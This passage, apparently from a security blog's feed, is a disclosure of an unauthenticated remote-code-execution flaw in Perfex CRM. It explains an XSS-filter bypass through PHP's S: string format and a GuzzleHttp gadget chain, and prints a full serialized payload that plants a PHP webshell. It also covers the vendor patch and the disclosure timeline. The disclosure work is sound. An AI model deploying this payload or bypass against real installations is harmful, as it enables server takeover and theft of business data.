class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;sha256\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"nv\"\u003e$staff\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eset_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s1\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e  \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s1\"\u003e\u0026#39;value\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ejson_encode\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$user_id\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e     \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e]),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s1\"\u003e\u0026#39;expire\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e60\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e60\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e24\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e31\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe fix also adds type validation (\u003ccode\u003eis_array()\u003c/code\u003e, \u003ccode\u003eis_numeric()\u003c/code\u003e, \u003ccode\u003eis_string()\u003c/code\u003e) on the decoded cookie data before use, and the autologin token is now \u003ccode\u003ebin2hex(random_bytes(32))\u003c/code\u003e stored as \u003ccode\u003ehash('sha256', $key)\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003etl;dr Update to 3.4.1.\u003c/p\u003e\n\u003ch2 id=\"disclosure-process-notes\"\u003eDisclosure process notes\u003ca href=\"#disclosure-process-notes\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI reported this on 2026-01-05, shared technical details on 2026-01-08. After that it was hard to get responses, even after I escalated to Envato.\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003e Disclosure-to-patch was 67 days, within our 120-day window. 44 of those days were silence.\u003c/p\u003e\n\u003cp\u003eWhile this was ongoing, a Perfex CRM user \u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026amp;filter=all#comment_31909364\"\u003epublicly reported\u003c/a\u003e finding two backdoors on their server: a webshell decrypting and executing attacker requests via \u003ccode\u003eeval()\u003c/code\u003e, and a script using cookie-delivered PHP to write files to arbitrary paths. The second one matches this gadget chain. I shared this with both the vendor and Envato.\u003c/p\u003e\n\u003cp\u003eI considered publishing earlier. Perfex CRM stores client records, invoices, contracts, and personal data. Its users are small businesses that bought a PHP script on CodeCanyon. They don\u0026rsquo;t have WAFs or incident response plans. A manual fix exists but requires PHP knowledge most of them probably don\u0026rsquo;t have, and publishing a mitigation would point attackers straight to the vulnerable code. I judged it would cause more harm than it prevented.\u003c/p\u003e\n\u003cp\u003eIf you\u0026rsquo;re a Perfex CRM user, assume compromise. Start from a clean install and rotate all secrets and passwords in Perfex.\u003c/p\u003e\n\u003cp\u003eFeedback on how this was handled is welcome: \u003ca href=\"/contact\"\u003eget in touch\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ch3 id=\"vendor-timeline\"\u003eVendor timeline\u003ca href=\"#vendor-timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-05\u003c/td\u003e\n          \u003ctd\u003eReported to vendor and asked for a security contact.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-08\u003c/td\u003e\n          \u003ctd\u003eShared technical details with vendor.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-14\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-28\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline, explained I will escalate the findings to Envato on 2026-02-02.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-07\u003c/td\u003e\n          \u003ctd\u003eShared active exploitation concern with vendor (\u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026amp;filter=all#comment_31909364\"\u003eCodeCanyon comment\u003c/a\u003e).\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003eForwarded disclosure email to another address affiliated with the project.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-13\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-13\u003c/td\u003e\n          \u003ctd\u003eForwarded disclosure email to another address affiliated with the project.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-17\u003c/td\u003e\n          \u003ctd\u003ePosted a \u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=1\u0026amp;filter=all#comment_31924153\"\u003epublic comment on CodeCanyon\u003c/a\u003e requesting a response. Another developer replied claiming the security concerns had already been addressed. They had not.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eVendor replied and shared first patch.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eSent patch feedback to vendor.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eVendor shared second patch.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eConfirmed second patch looked ok.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-07\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-09\u003c/td\u003e\n          \u003ctd\u003eVendor responded that release work was in progress.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-09\u003c/td\u003e\n          \u003ctd\u003eFollowed up and re-raised exploitation concern.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-13\u003c/td\u003e\n          \u003ctd\u003ePatch released (\u003ca href=\"https://help.perfexcrm.com/version-3-4-1-security-maintenance-release/\"\u003ev3.4.1 security maintenance release\u003c/a\u003e).\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-16\u003c/td\u003e\n          \u003ctd\u003eThis post.\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"envato-timeline\"\u003eEnvato timeline\u003ca href=\"#envato-timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-02\u003c/td\u003e\n          \u003ctd\u003eReached out to Envato.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-03\u003c/td\u003e\n          \u003ctd\u003eEnvato responded and requested PoC.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-03\u003c/td\u003e\n          \u003ctd\u003eShared PoC with Envato.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-04\u003c/td\u003e\n          \u003ctd\u003eShared exploitation concern with Envato (\u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026amp;filter=all#comment_31909364\"\u003eCodeCanyon comment\u003c/a\u003e).\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-13\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eEnvato acknowledged a report backlog and delay in handling.\u003csup id=\"fnref:5\"\u003e\u003ca href=\"#fn:5\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e5\u003c/a\u003e\u003c/sup\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eEnvato said the author had been chased.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-12\u003c/td\u003e\n          \u003ctd\u003eRequested Envato contact the vendor again.\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e35,000+ sales on CodeCanyon at the time of writing.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eGoogling would have been faster, but reading the lexer was more fun!\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eThe \u003ccode\u003eS:\u003c/code\u003e format was unknown to me at the time of discovery. I\u0026rsquo;ve since found that phpggc has supported it since \u003ca href=\"https://github.com/ambionics/phpggc/commit/970ee4a86d206b637f6bec511a4f5b7a2d118889\"\u003eNovember 2018\u003c/a\u003e via its \u003ccode\u003e-a\u003c/code\u003e flag, and that most documentation of the technique is in Chinese security blogs (e.g. \u003ca href=\"https://wiki.wgpsec.org/knowledge/ctf/php-serialize.html\"\u003eWGPSEC\u003c/a\u003e, \u003ca href=\"https://lazzzaro.github.io/2020/05/15/web-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/index.html\"\u003eLazzaro\u003c/a\u003e, \u003ca href=\"https://medium.com/@lyltvip/php-deserialization-escape-970cd8ea714e\"\u003elanyi\u003c/a\u003e).\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:4\"\u003e\n\u003cp\u003eAround the same time, \u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026amp;filter=all#comment_31919413\"\u003eanother user on CodeCanyon\u003c/a\u003e reported a security concern and was told to renew their support license before the vendor would engage.\u0026#160;\u003ca href=\"#fnref:4\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:5\"\u003e\n\u003cp\u003e\u0026ldquo;We\u0026rsquo;ve had a 7000% (yes seven thousand) increase in vulnerability reports over the last 2 years and while we\u0026rsquo;re improving the way we deal with them, we sometimes get a little behind - I know that\u0026rsquo;s not great in cases like this where speed is of the essence.\u0026rdquo;\u0026#160;\u003ca href=\"#fnref:5\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"TL;DR: Perfex CRM fed the autologin cookie straight into unserialize(). CodeIgniter’s XSS filter stripped the null bytes that private PHP properties need, but PHP’s S: format got around that. Unauthenticated cookie to shell via GuzzleHttp’s FileCookieJar.\nVulnerability information# Field Value Vendor MSTdev Product Perfex CRM Affected versions \u003c= 3.4.0 CVE Requested CVSS 4.0 10.0 / Critical CWE CWE-502: Deserialization of Untrusted Data Disclosure date 2026-03-16 Background# Last December I was bored and remembered that CodeCanyon still existed. The S in CodeCanyon obviously stands for “super verified secure scripts”, so I started browsing for interesting apps to poke at. I sorted by sales1 and landed on Perfex CRM as my first pick.\nPerfex CRM is a PHP CRM. It’s built on CodeIgniter and handles clients, invoices, projects, support tickets, etc.\nThe vulnerable call# On the demo instance, the autologin cookie looked like serialized PHP data. So I grabbed a copy of the source and sure enough, Authentication_model.php passes it straight into a bare unserialize(). Textbook object injection.\nThe base controller loads the authentication model on every request:\ncore/App_Controller.php\n$this-\u003eload-\u003emodel('authentication_model'); $this-\u003eauthentication_model-\u003eautologin(); The model’s constructor calls it again:\nmodels/Authentication_model.php\npublic function __construct() { parent::__construct(); $this-\u003eload-\u003emodel('user_autologin'); $this-\u003eautologin(); } The autologin() method:\nmodels/Authentication_model.php\npublic function autologin() { if (!is_logged_in()) { $this-\u003eload-\u003ehelper('cookie'); if ($cookie = get_cookie('autologin', true)) { $data = unserialize($cookie); if (isset($data['key']) and isset($data['user_id'])) { The cookie hits unserialize() on every request, every route, with no validation.\nThe XSS filter problem# My first payload didn’t work. Perfex calls get_cookie('autologin', true), and that second parameter turns on CodeIgniter’s XSS filtering:\nsystem/helpers/cookie_helper.php\nfunction get_cookie($index, $xss_clean = NULL) { is_bool($xss_clean) OR $xss_clean = (config_item('global_xss_filtering') === TRUE); $prefix = isset($_COOKIE[$index]) ? '' : config_item('cookie_prefix'); return get_instance()-\u003einput-\u003ecookie($prefix.$index, $xss_clean); } CodeIgniter’s input processing calls remove_invisible_characters(), which strips null bytes:\nsystem/core/Common.php\n$non_displayables[] = '/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S'; Private properties in PHP serialization use \\x00ClassName\\x00property as the key. The null bytes are structural. Strip them and the payload breaks:\ns:17:\"\\x00ClassName\\x00prop\" -\u003e after filter -\u003e s:17:\"ClassNameprop\" ^^^^ ^^^^ (broken, length mismatch) That could have been the end of it. But the filter strips bytes from the cookie value, and unserialize() is the thing that interprets those bytes. If the unserializer had another way to represent them, one that doesn’t use literal null bytes in the wire format, the filter would have nothing to strip.\nThe S: format bypass# I cloned php-src2 and started reading var_unserializer.re, the lexer that drives unserialize(). The lowercase s: tag reads string bytes verbatim. A few lines down, an uppercase S: variant resolves \\xx hex escapes during deserialization, so non-ASCII bytes like null bytes can be written as printable ASCII in the serialized payload.\next/standard/var_unserializer.re\nif (**p != '\\\\') { ZSTR_VAL(str)[i] = (char)**p; } else { unsigned char ch = 0; for (j = 0; j \u003c 2; j++) { (*p)++; if (**p \u003e= '0' \u0026\u0026 **p \u003c= '9') { ch = (ch \u003c\u003c 4) + (**p -'0'); } else if (**p \u003e= 'a' \u0026\u0026 **p \u003c= 'f') { ch = (ch \u003c\u003c 4) + (**p -'a'+10); } else if (**p \u003e= 'A' \u0026\u0026 **p \u003c= 'F') { ch = (ch \u003c\u003c 4) + (**p -'A'+10); } else { zend_string_efree(str); return NULL; } } ZSTR_VAL(str)[i] = (char)ch; } S:3:\"\\00A\\00\" is entirely printable ASCII. It passes through the XSS filter untouched, and unserialize() resolves the hex escapes back into null bytes.\nThe S: tag exists because of PHP 6. During its development, the serialization format for binary strings was changed to escape non-ASCII characters, probably to stay compatible with PHP 6’s Unicode strings where not all byte sequences are valid. The uppercase S: tag was added to PHP 5 in 2006 so that serialized data could be exchanged between PHP 5 and PHP 6. PHP 6 was never released. No released version of PHP has ever emitted the S: tag, and no tests covered it. It was only deprecated in PHP 8.4 (the RFC passed 36-0), so it sat in the unserializer for 18 years.3\nMore obstacles# With the null byte problem solved, building the full payload hit three more issues.\nPrivate properties include the full namespace, so the FileCookieJar cookies property serializes as \\x00GuzzleHttp\\Cookie\\CookieJar\\x00cookies. In S: format, \\Co fails because the parser treats every backslash as the start of a hex escape and requires two valid hex digits after it. C is valid hex but o is not. Using \\5c for literal backslashes gets around this.\nS:36:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\" Next, CodeIgniter’s xss_clean() replaces PHP open/close tags:\nsystem/core/Security.php\n$str = str_replace(array('\u003c?', '?'.'\u003e'), array('\u0026lt;?', '?\u0026gt;'), $str); The shell payload contains \u003c? which gets mangled. Hex-encoding the tags in the S: string avoids this. \\3c\\3f becomes \u003c?, \\60 becomes the backtick, \\3f\\3e becomes ?\u003e. All resolved after filtering.\nS:15:\"\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\" Finally, after deserialization the app does isset($data['key']). If $data is a FileCookieJar object instead of an array, PHP 8 throws a TypeError and returns HTTP 500. Wrapping the gadget in an array with valid key and user_id fields avoids this. The nested FileCookieJar.__destruct() still fires on garbage collection, and the response comes back as a 307 redirect instead of a 500.\nThe gadget chain# Perfex CRM bundles GuzzleHttp, which includes FileCookieJar:\nclass FileCookieJar extends CookieJar { private $filename; private $storeSessionCookies; public function __destruct() { $this-\u003esave($this-\u003efilename); } public function save(string $filename): void { $json = []; foreach ($this as $cookie) { if (CookieJar::shouldPersist($cookie, $this-\u003estoreSessionCookies)) { $json[] = $cookie-\u003etoArray(); } } if (false === \\file_put_contents($filename, Utils::jsonEncode($json), \\LOCK_EX)) { throw new \\RuntimeException(\"Unable to save file {$filename}\"); } } } When the object destructs, it calls file_put_contents() with a path and content we control. The shouldPersist() check requires either Expires to be set or storeSessionCookies to be true, and Discard to be false. The PoC sets all three to pass the gate. The “Name” field of a SetCookie object gets included verbatim in the JSON output. Set it to a PHP short tag and the server executes it when the file is requested.\nThe written file looks like:\n[{\"Name\":\"\u003c?=`$_GET[0]`?\u003e\",\"Value\":\"x\",\"Domain\":\"localhost\",...}] PHP ignores the JSON around it. It only cares about the \u003c?= tag.\nProof of concept# a:3:{ \u003c- array wrapper (to avoid TypeError) s:3:\"key\";s:1:\"x\"; \u003c- satisfies isset($data['key']) s:7:\"user_id\";s:1:\"1\"; \u003c- satisfies isset($data['user_id']) s:3:\"jar\"; O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{ S:36:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\"; ^^^ ^^^ ^^^ ^^^ null byte backslash null byte a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{ S:33:\"\\00GuzzleHttp\\5cCookie\\5cSetCookie\\00data\"; a:9:{ s:4:\"Name\"; S:15:\"\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\"; ^^^^ ^^^^ ^^^^ \u003c? ` ?\u003e s:5:\"Value\";s:1:\"x\"; s:6:\"Domain\";s:9:\"localhost\"; s:4:\"Path\";s:1:\"/\"; s:7:\"Max-Age\";N; s:7:\"Expires\";i:9999999999; s:6:\"Secure\";b:0; s:7:\"Discard\";b:0; s:8:\"HttpOnly\";b:0; } }} S:39:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00strictMode\";b:0; S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\"; s:31:\"filename.php\"; S:52:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00storeSessionCookies\"; b:1; } } Impact# Unauthenticated RCE as the web server user.\nThere is evidence suggesting active exploitation in the wild. See disclosure process notes.\nRemediation# v3.4.1 replaces serialize()/unserialize() with json_encode()/json_decode(). JSON cannot instantiate PHP objects, so the deserialization vector is eliminated here.\nThe patched autologin():\npublic function autologin() { if (! is_logged_in()) { $this-\u003eload-\u003ehelper('cookie'); if ($cookie = get_cookie('autologin', true)) { $data = json_decode($cookie, true); if (! is_array($data)) { delete_cookie('autologin', 'aal'); return false; } if (isset($data['key']) and isset($data['user_id'])) { if (! is_numeric($data['user_id']) || ! is_string($data['key'])) { delete_cookie('autologin', 'aal'); return false; } if (! is_null($user = $this-\u003euser_autologin-\u003eget( $data['user_id'], hash('sha256', $data['key']) ))) { // ...login proceeds The patched create_autologin():\nprivate function create_autologin($user_id, $staff) { $this-\u003eload-\u003ehelper('cookie'); $key = bin2hex(random_bytes(32)); $this-\u003euser_autologin-\u003edelete($user_id, $key, $staff); if ($this-\u003euser_autologin-\u003eset($user_id, hash('sha256', $key), $staff)) { set_cookie([ 'name' =\u003e 'autologin', 'value' =\u003e json_encode([ 'user_id' =\u003e $user_id, 'key' =\u003e $key, ]), 'expire' =\u003e 60 * 60 * 24 * 31 * 2, ]); return true; } return false; } The fix also adds type validation (is_array(), is_numeric(), is_string()) on the decoded cookie data before use, and the autologin token is now bin2hex(random_bytes(32)) stored as hash('sha256', $key).\ntl;dr Update to 3.4.1.\nDisclosure process notes# I reported this on 2026-01-05, shared technical details on 2026-01-08. After that it was hard to get responses, even after I escalated to Envato.4 Disclosure-to-patch was 67 days, within our 120-day window. 44 of those days were silence.\nWhile this was ongoing, a Perfex CRM user publicly reported finding two backdoors on their server: a webshell decrypting and executing attacker requests via eval(), and a script using cookie-delivered PHP to write files to arbitrary paths. The second one matches this gadget chain. I shared this with both the vendor and Envato.\nI considered publishing earlier. Perfex CRM stores client records, invoices, contracts, and personal data. Its users are small businesses that bought a PHP script on CodeCanyon. They don’t have WAFs or incident response plans. A manual fix exists but requires PHP knowledge most of them probably don’t have, and publishing a mitigation would point attackers straight to the vulnerable code. I judged it would cause more harm than it prevented.\nIf you’re a Perfex CRM user, assume compromise. Start from a clean install and rotate all secrets and passwords in Perfex.\nFeedback on how this was handled is welcome: get in touch.\nTimeline# Vendor timeline# Date Event 2026-01-05 Reported to vendor and asked for a security contact. 2026-01-08 Shared technical details with vendor. 2026-01-14 Requested update and remediation timeline. 2026-01-28 Requested update and remediation timeline, explained I will escalate the findings to Envato on 2026-02-02. 2026-02-07 Shared active exploitation concern with vendor (CodeCanyon comment). 2026-02-08 Forwarded disclosure email to another address affiliated with the project. 2026-02-13 Requested update and remediation timeline. 2026-02-13 Forwarded disclosure email to another address affiliated with the project. 2026-02-17 Posted a public comment on CodeCanyon requesting a response. Another developer replied claiming the security concerns had already been addressed. They had not. 2026-02-18 Vendor replied and shared first patch. 2026-02-18 Sent patch feedback to vendor. 2026-02-18 Vendor shared second patch. 2026-02-18 Confirmed second patch looked ok. 2026-03-07 Requested update and remediation timeline. 2026-03-09 Vendor responded that release work was in progress. 2026-03-09 Followed up and re-raised exploitation concern. 2026-03-13 Patch released (v3.4.1 security maintenance release). 2026-03-16 This post. Envato timeline# Date Event 2026-02-02 Reached out to Envato. 2026-02-03 Envato responded and requested PoC. 2026-02-03 Shared PoC with Envato. 2026-02-04 Shared exploitation concern with Envato (CodeCanyon comment). 2026-02-13 Requested update and remediation timeline. 2026-02-18 Envato acknowledged a report backlog and delay in handling.5 2026-02-18 Envato said the author had been chased. 2026-03-12 Requested Envato contact the vendor again. 35,000+ sales on CodeCanyon at the time of writing. ↩︎\nGoogling would have been faster, but reading the lexer was more fun! ↩︎\nThe S: format was unknown to me at the time of discovery. I’ve since found that phpggc has supported it since November 2018 via its -a flag, and that most documentation of the technique is in Chinese security blogs (e.g. WGPSEC, Lazzaro, lanyi). ↩︎\nAround the same time, another user on CodeCanyon reported a security concern and was told to renew their support license before the vendor would engage. ↩︎\n“We’ve had a 7000% (yes seven thousand) increase in vulnerability reports over the last 2 years and while we’re improving the way we deal with them, we sometimes get a little behind - I know that’s not great in cases like this where speed is of the essence.” ↩︎\n","date_published":"2026-03-16T00:00:00Z","date_modified":"2026-03-16T00:00:00Z","tags":["vulnerability","perfex-crm","deserialization","rce","php"]},{"id":"https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/","url":"https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/","title":"Roundcube Webmail \u003c1.5.13 / \u003c1.6.13 allows attackers to force remote image loads via SVG feImage","summary":"Roundcube's HTML sanitizer doesn't treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens. (CVE-2026-25916)","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Roundcube\u0026rsquo;s \u003ccode\u003ercube_washtml\u003c/code\u003e sanitizer blocked external resources on \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;image\u0026gt;\u003c/code\u003e, and \u003ccode\u003e\u0026lt;use\u0026gt;\u003c/code\u003e, but not on \u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e. Its \u003ccode\u003ehref\u003c/code\u003e went through the wrong code path and got allowed through. Attackers could track email opens even when \u0026ldquo;Block remote images\u0026rdquo; was on. Fixed in 1.5.13 and 1.6.13.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" 